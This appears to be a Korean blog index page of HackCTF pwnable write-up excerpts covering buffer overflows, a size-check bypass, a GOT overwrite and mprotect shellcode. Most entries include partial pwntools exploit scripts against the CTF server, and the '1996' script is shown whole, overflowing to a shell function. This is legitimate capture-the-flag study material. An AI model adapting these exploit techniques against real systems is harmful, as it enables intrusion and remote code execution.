전체 글
-
[HackCTF : Pwnable] Pwning (300p)Wargame/HackCTF 2021. 12. 27. 16:37
[HackCTF : Pwnable] Pwning (300p) 입력한 숫자만큼의 byte를 입력받는다. 33 이상이면 No! That size (%d) is too large!를 출력하고 종료하는데 -1을 통해 우회할 수 있다. 다음은 그냥 rop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./pwning") p = remote("ctf.j0n9hyun.xyz",3019) e = ELF("./pwning") prt_plt=e.plt['printf'] prt_got=e.got['printf'] vuln = e.symbols['vuln'] pay..
-
[HackCTF : Pwnable] Look at me (250p)Wargame/HackCTF 2021. 12. 27. 10:44
[HackCTF : Pwnable] Look at me (250p) 32bit, statically linked 입력받고 종료한다. gets()에서 bof가 터진다. statically linked로 컴파일되어있어 libc에 있는 함수들을 사용하지 못한다. 그래서 이 바이너리 안에있는 mprotect라는 함수로 익스하면 된다. 메모리 영역에 대한 권한을 관리하는 함수다. bss영역에 쉘 코드를 넣고 실행권한을 주고 실행하면 된다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import * # p = process("./lookatme") p = remote("ctf.j0n9hyun...
-
[HackCTF : Pwnable] Beginner_Heap(250p)Wargame/HackCTF 2021. 12. 24. 15:26
[HackCTF : Pwnable] Beginner_Heap(250p) 2번 입력받고 종료한다. v3, 3+1, v4 v4+1에 동적 할당을 해준다. flag를 읽어주는 함수가 존재한다. 입력 받기전의 힙 상태이다. v3 = 1 (v3+1) = 0x6022c0 v4 = 2 (v4+1) = 0x602300 첫 번째 입력으로 이곳에 데이터가 들어가는데 bof를 통해 v4+1을 조작할 수 있다. 1 2 3 4 5 6 7 8 9 10 11 from pwn import * p = remote("ctf.j0n9hyun.xyz",3016) e = ELF("./beginner_heap.bin") payload = "A"*40 + p64(e.got['exit']) p.sendline(payload) p.sendline(..
-
[HackCTF : Pwnable] Gift(250p)Wargame/HackCTF 2021. 11. 26. 17:40
[HackCTF : Pwnable] Gift(250p) ㄷㄷ 주소 두 개를 뱉고 입력받은걸 출력해줌 binsh과 system이다. /bin/sh 문자열은 아니고 bss영역이다. 여기다가 /bin/sh 써주면 됨 system은 system 주소다 gets로 bss에 /bin/sh 문자열 써주고 system(bss) 해주면 됩니다. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * # p = process("./gift") p=remote("ctf.j0n9hyun.xyz",3018) e = ELF("./gift") gets=e.plt['gets'] pr=0x0804866b binsh..
-
[HackCTF : Pwnable] 1996 (200p)Wargame/HackCTF 2021. 11. 25. 16:34
[HackCTF : Pwnable] 1996 (200p) 입력한 환경변수를 출력해준다. cin으로 입력받기 때문에 bof가 터진다. 적당히 dummy 주고 spawn_shell을 덮어주면 된다. 1 2 3 4 5 6 7 8 9 10 from pwn import * # p=process("./1996") p = remote("ctf.j0n9hyun.xyz",3013) payload = "A"*0x418 payload += p64(0x0000000000400897) p.sendline(payload) p.interactive() cs ex.py
-
-
[Docker] run하고 나갈 때 컨테이너 유지Notepad/... 2021. 11. 18. 15:37
Ctrl + D로 나가면 컨테이너가 정지되지만 Ctrl + P, Q하면 컨테이너 유지됨